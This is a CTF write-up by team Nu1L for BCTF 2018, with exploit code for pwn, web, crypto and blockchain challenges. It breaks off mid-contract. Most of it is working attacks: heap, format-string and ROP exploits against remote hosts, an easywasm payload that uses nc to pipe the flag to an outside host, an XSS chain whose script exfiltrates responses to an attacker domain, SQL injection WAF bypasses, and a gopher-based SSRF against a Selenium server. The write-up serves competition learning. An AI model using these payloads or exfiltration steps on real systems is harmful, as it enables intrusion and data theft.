BCTF 2018

By Nu1L

[TOC]

比赛网址:https://bctf.xctf.org.cn/
比赛时间:11月27日 14:00 - 11月29日 02:00
Team-Page:http://nu1l-ctf.com

PWN

easiest

Double Free,测了一下远程,不是tcache
没有Leak
有一个后门函数
用GOT表里面的0x40做size

from pwn import *

#p = process('./easiest')
p = remote('39.96.9.148', 9999)

def add(idx, size, c):
    p.recv()
    p.sendline('1')
    p.recvuntil('(0-11):')
    p.sendline(str(idx))
    p.recvuntil('Length:')
    p.sendline(str(size))
    p.recvuntil('C:')
    p.sendline(c)

def dele(idx):
    p.recv()
    p.sendline('2')
    p.recvuntil('(0-11):')
    p.sendline(str(idx))

add(0, 0x38, 'aaa')
add(1, 0x38, 'bbb')
dele(0)
dele(1)
dele(0)
add(2, 0x38, p64(0x60203a))
add(3, 0x38, p64(0x60203a))
add(4, 0x38, p64(0x60203a))
add(5, 0x38, '\x40\x00\x00\x00\x00\x00' + p64(0x400946) * 5)

p.interactive()

three

from pwn import *

def add(cont):
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content:')
    p.send(cont)

def edit(idx,cont):
    p.recvuntil('choice')
    p.sendline('2')
    p.recvuntil('idx')
    p.sendline(str(idx))
    p.recvuntil('content:')
    p.send(cont)

def dele(idx,cl = 'n'):
    p.recvuntil('choice')
    p.sendline('3')
    p.recvuntil('idx')
    p.sendline(str(idx))
    p.recvuntil('):')
    p.sendline(cl)

while True:
    try:
        p=remote('39.96.13.122', 9999)
        #p=process('./three')#,env={'LD_PRELOAD':'./libc.so.6'})        
        add('\n')
        add('\n')
        add((p64(0xc0)+p64(0x21))*4)
        dele(2,'y')
        dele(1,'y')
        dele(0)
        edit(0,'\x70')
        add('\x70')
        add('\n')
        edit(0,p64(0)+p64(0x91))
        dele(1,'y')
        dele(2)
        dele(2)
        dele(2)
        dele(2)
        dele(2)
        dele(2)
        dele(2)
        edit(0,p64(0)+p64(0x51))

        dele(2)
        edit(0,p64(0)+p64(0x91))
        dele(2,'y')
        x = 0xa8#int(raw_input(),16)#
        edit(0,p64(0)+p64(0x51)+'\xe8'+chr(x))
        add('\xe8'+chr(x))
        #add(p64(0xffffffffff600400))
        add(p64(0))
        dele(1)
        dele(1,'y')
        edit(0,p64(0)+p64(0x51)+'\x78')
        edit(2,p64(0xffffffffff600400))
        add('\x78')
        dele(1,'y')
        add('\xd8'+chr(x))
        dele(0,'y')
        add('\x40')
        dele(0,'y')
        add('\n')
        dele(0,'y')
        add('/bin/sh\x00')
        a =0xa9#int(raw_input(),16)
        b =0x26#int(raw_input(),16)
        c =0x94# int(raw_input(),16)        
        edit(2,chr(a)+chr(b)+chr(c))
        p.recvuntil('choice')
        p.sendline('3')
        re = p.recvuntil('idx',timeout=0.8)
        if re[-1:] != 'x':
            continue
        p.sendline('0')
        p.sendline('cat flag;bash')
        re = p.recvuntil('(y/n)',timeout = 0.8)
        if re:
            print re
            continue
        p.sendline('echo 123;cat flag') 
        p.interactive()
    except:
        p.close()
        continue

BCTF{U_4r3_Ready_For_House_OF_ATUM}

hardcore_fmt

#coding=utf8
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.aslr = False
def pwn(p):
    p.recvuntil('Welcome to hard-core fmt\n')
    p.sendline('%a'*5)
    p.recvuntil('0x0p+00x0.0000000000001p-10220x0.0')
    addr1 = int(p.recvuntil('p-10220x0.0', drop=True) + '00', 16) - 0x100 - 0x1000
    log.success('addr1: {}'.format(hex(addr1)))
    addr2 = int(p.recvuntil('p-10220x0.0', drop=True) + '00', 16) - 0x1500
    log.success('addr2: {}'.format(hex(addr2)))
    p.sendline(str(addr2 + 0x14c0 + 0x68 + 1))
    p.recvuntil(': ')
    # 下一次gets会把数据读取到stack_addr中
    libc_base = addr1 - 0x619000
    ld_base = addr1 - 0x228000
    log.success('libc_base: {}'.format(hex(libc_base)))
    log.success('ld_base: {}'.format(hex(ld_base)))

    mem_addr = libc_base + 0x3EB0A8 # strlen
    mem_addr = libc_base + 0x3EB140 # memcpy

    canary = '\x00' + p.recv(7)
    log.success('cnaary: {}'.format(hex(u64(canary))))
    payload = 'a'*0x108 + canary + 'b'*0x8  + p64(mem_addr) + 'c'*0x8 + p64(0xffffffffff600000) * 7

    p.sendline(payload)

    # leak program
    p.sendline(str(addr1 + 0x30 + 0x1000))
    p.recvuntil(': ')
    program_base = u64(p.recv(6) + '\x00\x00') - 0x238
    log.success('program_base: {}'.format(hex(program_base)))
    payload = p64(program_base + 0x970) # start

    p.sendline(payload)


    # 第二次
    p.recvuntil('Welcome to hard-core fmt\n')
    p.sendline('hahaha')
    p.recvuntil('hahaha')
    p.sendline(str(addr2))
    p.recvuntil(': ')
    # 0x000000000002155f : pop rdi ; ret
    payload = 'a'*0x108 + canary + 'b'*0x8  + p64(mem_addr) + 'c'*0x8
    payload += p64(libc_base + 0x21560) # 栈对齐
    payload += p64(libc_base + 0x000000000002155f) + p64(libc_base + 0x1B3E9A)
    payload += p64(libc_base + 0x4F440)
    #gdb.attach(p)
    p.sendline(payload)

    p.interactive()

if __name__ == '__main__':
    p = process('./hardcore_fmt')
    p = remote('39.106.110.69', 9999)
    pwn(p)

SOS

from pwn import *

#p = process('./SOS', env = {'LD_PRELOAD': './libc-2.27.so'})
p = remote('39.96.8.50', 9999)

p.recvuntil('Give me the string size:')

p.sendline('0')

p.recvuntil('Alright, input your SOS code:')


payload = '\x00' * 56
payload += p64(0x400c53)
payload += p64(0x602020)
payload += p64(0x4008E0)
payload += p64(0x400AFC)
#raw_input()

p.send(payload + '\x00' * 8192)

p.recvline()
puts = p.recvline().strip()
puts_addr = u64(puts.ljust(8, '\x00'))
libc_addr = puts_addr - 0x809c0
print hex(puts_addr)
print hex(libc_addr)
system_addr = libc_addr + 0x4f440
binsh_addr = libc_addr + 0x1b3e9a
mov_qword_ptr_rsi_rdi = libc_addr + 0x1401fd

poprsi = libc_addr + 0x23e6a
poprdi = libc_addr + 0x2155f
poprdx = libc_addr + 0x01b96
open_addr = libc_addr + 0x10fc40
read_addr = 0x400900
write_addr = libc_addr + 0x110140


payload = '\x00' * 56
payload += p64(poprdi)
payload += "flag\x00\x00\x00\x00"
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(mov_qword_ptr_rsi_rdi)
payload += p64(poprdi)
payload += p64(0x602080)
payload += p64(poprsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(poprdi)
payload += p64(3)
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(poprdx)
payload += p64(100)
payload += p64(read_addr)
payload += p64(poprdi)
payload += p64(1)
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(write_addr)


#raw_input()
p.recvuntil('Alright, input your SOS code:')
raw_input()
p.send(payload + 'A' * 10000)

#p.shutdown('write')

p.interactive()

easywasm

The WASM module is used to perform operation with the help of the outside layer. Reversing the module we could easily found a buffer overflow caused by strcpy. Since the module imports __emscripten_run_script, we could overwrite the function pointer (which is actually a table index) and run some javascript.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import requests, sys, os, urllib, IPython

s = requests.session()
#URL = 'http://localhost:23333/'
URL = 'http://39.96.13.247:9999/'

def add_person(name, is_tutor=0):
    url = URL + 'add_person?'
    url += 'name=' + urllib.quote(name)
    url += '&is_tutor=' + urllib.quote(str(is_tutor))
    print url
    resp = s.get(url)
    if 'person id =' not in resp.content:
        raise Exception("Failed allocation")
    index = int(resp.content[resp.content.index(' = ') + 3:])
    return index

def change_name(idx, name):
    url = URL + 'change_name?'
    url += 'id=' + urllib.quote(str(idx))
    url += '&name=' + urllib.quote(name)
    resp = s.get(url)
    print resp.content
    return 'done' in resp.content

def intro(idx):
    url = URL + 'intro?'
    url += 'id=' + urllib.quote(str(idx))
    resp = s.get(url)
    return resp.content

'''
struct person_t {
 i32 idx;
 i32 in_use;
 u8 name[60];
 i32 func_idx;
}
'''
base = 4064
size = 72
idx = add_person('123', 0)
print idx
payload = 'this.a = require("child_process");//'
print len(payload)
assert len(payload) <= 60
payload = payload.ljust(60, ';') + p8(5)
print change_name(idx, payload)
print intro(idx)

payload = 'a.execSync("cat flag | nc <redacted> 9999");//'
assert len(payload) <= 60
print change_name(idx, payload)

print intro(idx)

print 'Done!'

Reverse

easypt

https://github.com/andikleen/simple-pt/blob/master/fastdecode.c

于是先找到4007C7对应的call的记录,于是就可以直接从0x52f0开始分析

利用这一份简单的代码解码之后直接把所有分支的判断结果提取出来,然后统计一波数量就可以出来了

f = open('ttt')
d = f.read()
f.close()
import re
s = r'tnt8 ([N,T]+)'
dd = re.findall(s,d)
res = ''
for i in dd:
    res += i
sss = r'((NT)+)TTT'
de2 = re.findall(sss,res)
de = ''
for i in de2:
    t = len(i[0])/2
    de += chr(t+0x20)
print(de)
# bctf{19c512c582879daf358404a9748cfdbb}!!

Web

checkin

输入一个不存在的url, 看404报错 提示:

Powered by beego 1.7.2

之前再分析gitea/gogs的CVE-2018-18925/6时, 发现

go-macaron(https://github.com/go-macaron/session version<0.4.0)

beego(https://github.com/astaxie/beego version<1.11.0)

中都存在这个问题, 由于以文件作为session存储的provider在以session cookie为键值时没过滤./, 于是导致了可以用任意文件作为session的bug.

先上传一张0b的图片, 把session设置成该地址, 登录后, 下载头像

解析其中的字段及类型, 发现三项(后来好像改题了, 现在剩下两项了)

UID int
uit int64 # 貌似这个被删掉了
username string

构造session文件, 上传到服务器, 修改gosessionid为上传的返回的地址../../../../../../go/src/github.com/checkin/website/static/img/avatar/xxxxxxx.png, 刷新后发现多了一个Admin Panel的选项, 进去之后就能看到flag.

package main

import (
    "bytes"
    "encoding/gob"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func DecodeGob(encoded []byte) (map[interface{}]interface{}, error) {
    buf := bytes.NewBuffer(encoded)
    dec := gob.NewDecoder(buf)
    var out map[interface{}]interface{}
    err := dec.Decode(&out)
    if err != nil {
        return nil, err
    }
    return out, nil
}

SimpleVN

主要分为两个功能

  1. 设置pug模板

这里模板的内容有个限制 :

const checkPUG = (upug) => {
  const fileterKeys = ['global', 'require']
  return /^[a-zA-z0-9\.]*$/g.test(upug) && !fileterKeys.some(t => upug.toLowerCase().includes(t))
}

但是因为最后存储之前两边拼凑了#{ }

...
console.log('Generator pug template')
const uid = req.session.user.uid
const body = `#{${upug}}`
console.log('body', body)
const upugPath = path.join('users', utils.md5(uid), `${uid}.pug`)
console.log('upugPath', upugPath)
try {
    fs.writeFileSync(path.resolve(config.VIEWS_PATH, upugPath), body)
} catch (err) {

...

于是我们就可以直接进行ssti,但是注入的内容只能是字母数字和点,还不能包含requireglobal

渲染模板的时候有个要求 : 必须是本机访问

  1. 以服务器做代理去访问一个url(用的puppeteer[chrome]),header取自发送url时的header,然后截图返回给你

这里的要求是:

const checkURL = (shooturl) => {
  const myURL = new URL(shooturl)
  return config.SERVER_HOST.includes(myURL.host)
}

你发送的url的host部分要在他本地的host之中,于是顺理成章的想到用这个功能做跳板执行render,同时可以使用file://协议任意文件读取。(host为空)

请求/etc/passwd

知道了这两点,我们再回到源码中找到flag的线索

审计 config.js 发现

...

const FLAG_PATH = path.resolve(constant.ROOT_PATH, '********')
...

const FLAGFILENAME = process.env.FLAGFILENAME || '********'

...

于是题目的目标就是得到这两个值,然后用file://去读取,同时我们审计app.js发现他将flagpath设置成静态目录

.use(express.static(config.FLAG_PATH))

于是也可控制它通过http://协议读取flag

话不多说,FLAG_PATHFLAGFILENAME是如何获取的呢?

首先利用设置模板功能实现ssti

先测试输入this,控制它去访问/local/render,发现返回结果是一个global对象

那么FLAGFILENAME就能很容易拿到:通过注入process.env.FLAGFILENAME,直接输出了FLAGFILENAME

但是因为他禁用了require,我们无法轻易拿到FLAG_PATH,就想到通过读取config.js的源码来拿

首先我们要找到Web路径,process.env.PWD是可以拿到,但因为它被解析做了html标签,chrome那边截图截不到,

这里可以利用view-source:让服务器的浏览器直接返回html源码

拿到了路径直接读config.js

拿到了flag路径读flag发现:

这里考察的是Range这个header成员的用法,控制返回的字节范围,通过改变request header遍历字节范围,在大概2000的位置找到了flag

babySQLiSPA

api/hints可以注入
waf:

export function checkHint (hint) {
  return ! / |;|\+|-|\*|\/|<|>|~|!|\d|%|\x09|\x0a|\x0b|\x0c|\x0d|`|gtid_subset|hash|json|st\_|updatexml|extractvalue|floor|rand|exp|json_keys|uuid_to_bin|bin_to_uuid|union|like|sleep|benchmark/ig.test(hint)
}

利用gtid_subtract爆table名字,但最多140字节

hint='or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((length(table_name)=ord('j')^ord('t')))),''))or'

长度30的时候拿到flag表:

vhEFfFlLlLaAAaaggIiIIsSSHeReEE

然后再爆表

hint='||gtid_subtract((select(concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'')#

最后拿到flag
{"error":"Malformed GTID set specification 'BCTF{060950FB-839E-4B57-B91D-51E78F56856F}'."}

SEAFARING1

于是构造html让bot访问

<html>
  <script>
    window.onload =function(){
      document.getElementById("f").submit();
    }

  </script>
  <form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php" id="f">

    <input name="token" value="<body><img src=x onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,120,56,122,46,116,111,112,47,120,98,53,77,63,97,61,98,39))></body>">
  </form>



  </html>

这里触发了反射型xss,引入了我写的js文件

function req(url,data){
    var xhr = new XMLHttpRequest();
    xhr.open("POST",url,false);
    xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    xhr.send(data);
    var resp = xhr.responseText;
    return resp;
}

function getcsrf(){
    var xhr = new XMLHttpRequest();
    xhr.open("GET","http://seafaring.xctf.org.cn:9999/admin/index.php",false);
    xhr.send();
    var res = xhr.responseText;
    var csrftoken = res.match(/csrf_token = \"([a-z0-9]*)\"/ig)[0].split('= "')[1].replace('"','');
    return csrftoken;
}

function send(data){
    location.href = "http://data.ebcece08.w1n.pw/?data="+escape(data);
}

var ress = req("http://172.20.0.2:6379/","token="+getcsrf()+"&action=view_unreads&status=3%20%20and%201%3D2%20union%20select%201%2Cload_file%280x2f70726f632f6e65742f617270%29%2C3%2C4%20from%20f111111ag%23");

send(ress);

控制bot请求后台接口发现返回了sqlquery debug信息

{"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1' ORDER BY id DESC "}

猜测有注入,但是注入单引号发现被转义了,糟糕,有addslashes()

{"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1\\'or 1#' ORDER BY id DESC "}

但是有一个接口刚好是数字型注入(view_unreads)

{"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked FROM feedbacks  where is_checked=1\\' ORDER BY id DESC limit 0,50"}

爆表

{"result":[["1","admin,f111111ag,feedbacks","3","4"]],"error":""}

爆字段

{"result":[["1","flllllag","3","4"]],"error":""}

拿flag

{"result":[["1","bctf{XsS_SQL1_7438x_2xfccmk}","3","4"]],"error":""}

SEAFARING2

一直没什么进展,打了cookie后在请求记录里发现提示:

load_file 读取文件内容:

{"result":[["1","<?php \nfunction curl($url){\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, $url);\n    curl_setopt($ch, CURLOPT_HEADER, 0);\n    $re = curl_exec($ch);\n    curl_close($ch);\n    return $re;\n}\nif(!empty($_POST['You_cann0t_guu3s_1t_1s2xs'])){\n    $url = $_POST['You_cann0t_guu3s_1t_1s2xs'];\n    curl($url);\n}else{\n    die(\"Hint: Just for web2! :)\");\n}\n?>","3","4"]],"error":""}
<?php 
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $re = curl_exec($ch);
    curl_close($ch);
    return $re;
}
if(!empty($_POST['You_cann0t_guu3s_1t_1s2xs'])){
    $url = $_POST['You_cann0t_guu3s_1t_1s2xs'];
    curl($url);
}else{
    die("Hint: Just for web2! :)");
}
?>

一看就是要我们打内网了...
读了一下/etc/hosts

{"result":[["1","127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-allnodes\nff02::2\tip6-allrouters\n172.20.0.3\tb557ee5b8a02\n","3","4"]],"error":""}

拿到本机ip172.20.0.3

内网扫端口发现172.20.0.2:4444

是一个selenium server

找到了一篇文章讲selenium server未授权访问的危害和利用

http://www.polaris-lab.com/index.php/archives/454/

发现可以利用file://协议列目录读文件,本地搭建后抓包,然后利用gopher重放报文即可

按照上面文章所说本地搭建环境,通过console操作抓包

创建新session的报文

POST /wd/hub/session HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 49
Accept: application/json; charset=utf-8
Origin: http://127.0.0.1:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Referer: http://127.0.0.1:4444/wd/hub/static/resource/hub.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"desiredCapabilities":{"browserName":"firefox"}}

然后通过/wd/hub/sesssions列出当前全部session

然后通过api控制访问file:///

POST /wd/hub/session/32621f2a19c3c4a4b51201e951831006/url HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 18
Accept: application/json; charset=utf-8
Origin: http://127.0.0.1:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Referer: http://127.0.0.1:4444/wd/hub/static/resource/hub.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"url":"file:///"}

然后读取浏览器截图拿到返回结果(base64的图片)

GET /wd/hub/session/1c602a62-cc09-4a1e-af5c-52b8715228ac/screenshot

攻击流程找到了,那么就可以利用gopher://协议构造如上的post报文去攻击远程服务器

example:

You_cann0t_guu3s_1t_1s2xs=gopher://172.20.0.2:4444/_POST%2520%252fwd%252fhub%252fsession%252f1c602a62-cc09-4a1e-af5c-52b8715228ac%252furl%2520HTTP%252f1.1%250AHost%253A%2520127.0.0.1%253A4444%250AContent-Length%253A%252038%250AAccept%253A%2520application%252fjson%253B%2520charset%253Dutf-8%250AOrigin%253A%2520http%253A%252f%252f127.0.0.1%253A4444%250AUser-Agent%253A%2520Mozilla%252f5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010_13_6%2529%2520AppleWebKit%252f537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome%252f70.0.3538.102%2520Safari%252f537.36%250AContent-Type%253A%2520text%252fplain%253Bcharset%253DUTF-8%250AReferer%253A%2520http%253A%252f%252f127.0.0.1%253A4444%252fwd%252fhub%252fstatic%252fresource%252fhub.html%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%252C%2520br%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%250AConnection%253A%2520close%250A%250A%257B%2522url%2522%253A%2522file%253A%252f%252f%252fTh3_MosT_S3cR3T_fLag%2522%257D

先用file:///读下根目录
得到的屏幕截图用html显示出来

<img src="data:imgage/png;base64,">

然后读取flag

Crypto

guess_polynomial

We can simply pass a very large x to the polynomial.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
VERBOSE = 1

if VERBOSE:
    context.log_level = 'debug'

io = remote('39.96.8.114', 9999)

while 1:
    mynum = int('1'+'0'*50)
    io.sendlineafter('coeff','1'+'0'*50)
    io.recvuntil('sum:')
    num = int(io.recvuntil('\n').strip())
    coeff = []
    while(num > mynum):
        coeff.append(str(num%mynum).strip('L'))
        num /= mynum
    io.recvuntil('coeff')
    coeff.append(str(num).strip('L'))
    io.sendline(' '.join(coeff[::-1]))

guess_number

It's not hard to understand (as a newbie in cryptography and math like me) the algorithm with the help of this. Basically if we want to know $\alpha$ we can have a vector $\mathbf{v} = (\lfloor\alpha t_1\rfloor, ... ,\lfloor\alpha t_d\rfloor, \frac{\alpha}{2^{k+1}})$ which is close to $\mathbf{u} = (u_1, ..., u_d, 0)$, and $\mathbf v$ is spanned by the lattice mentioned in the slides. This converts the HNP to a CVP over a specified lattice. We could then apply babai's nearest plane algorithm to solve it.

import socket
import ast
import telnetlib

#HOST, PORT = 'localhost', 9999
HOST, PORT = '60.205.223.220', 9999

s = socket.socket()
s.connect((HOST, PORT))
f = s.makefile('rw', 0)

def recv_until(f, delim='\n'):
    buf = ''
    while not buf.endswith(delim):
        buf += f.read(1)
    return buf

p = 1461501637330902918203684832716283019655932542983
k = 10

def solve_hnp(t, u):
    # http://www.isg.rhul.ac.uk/~sdg/igor-slides.pdf
    M = Matrix(RationalField(), 23, 23)
    for i in xrange(22):
        M[i, i] = p
        M[22, i] = t[i]

    M[22, 22] = 1 / (2 ** (k + 1))

    def babai(A, w):
        ''' http://sage-support.narkive.com/HLuYldXC/closest-vector-from-a-lattice '''
        C = max(max(row) for row in A.rows())
        B = matrix([list(row) + [0] for row in A.rows()] + [list(w) + [C]])
        B = B.LLL(delta=0.9)
        return w - vector(B.rows()[-1][:-1])

    closest = babai(M, vector(u + [0]))
    return (closest[-1] * (2 ** (k + 1))) % p

for i in xrange(5):
    t = ast.literal_eval(f.readline().strip())
    u = ast.literal_eval(f.readline().strip())
    alpha = solve_hnp(t, u)
    recv_until(f, 'number: ')
    s.send(str(alpha) + '\n')

t = telnetlib.Telnet()
t.sock = s
t.interact()

BlockChain

EOSGame

For smallBlind and bigBlind, the expected reward is greater than our cost, so we just need to write a sciprt to call smallBlind and bigBlind multiple times.

def run():
    myNonce = runweb3.eth.getTransactionCount(
        Web3.toChecksumAddress(main_account), "pending")
    print('nonce', myNonce)
    for i in range(400):
        transaction_dict = {
            'from': Web3.toChecksumAddress(main_account),
            'to': Web3.toChecksumAddress(constract),
            'gasPrice': 10000000000,
            'gas': 50000,
            'nonce': None,
            'value': 0,
            'data': "0x70984e97"  # "0xe2550156"
        }
        transaction_dict["nonce"] = myNonce + i
        r = runweb3.eth.account.signTransaction(transaction_dict, private_key)
        try:
            runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
        except Exception as e:
            print("error1", e)
            continue
            return
        print("Done", i)

Fake3D

The turingTest modifier is not bullet-proof, if the Fake3D contract is called during the constructor of another contract, then the turingTest can still be passed. We leveraged this to earn ourselves enough funds. (See the contract below.)
Also there's some pitfalls inside the WinnerList contract. We cannot call CaptureTheFlag from arbitrary accounts since there's a hidden check which checks if the tx.origin ends with b143 inside that contract. So we managed to get one which fulfills the requirement and used it to get the flag.

Attack contract:

pragma solidity ^0.4.24;

import "./Contract.sol";

contract Attack {
  using SafeMath for *;
  constructor () public {
    Fake3D f = Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);

    uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(address(this))))) / (now)).add
            (block.number)
        )));

      if((seed - ((seed / 1000) * 1000)) < 288) {
        for(int i = 0; i < 150;
        

Hacking more

...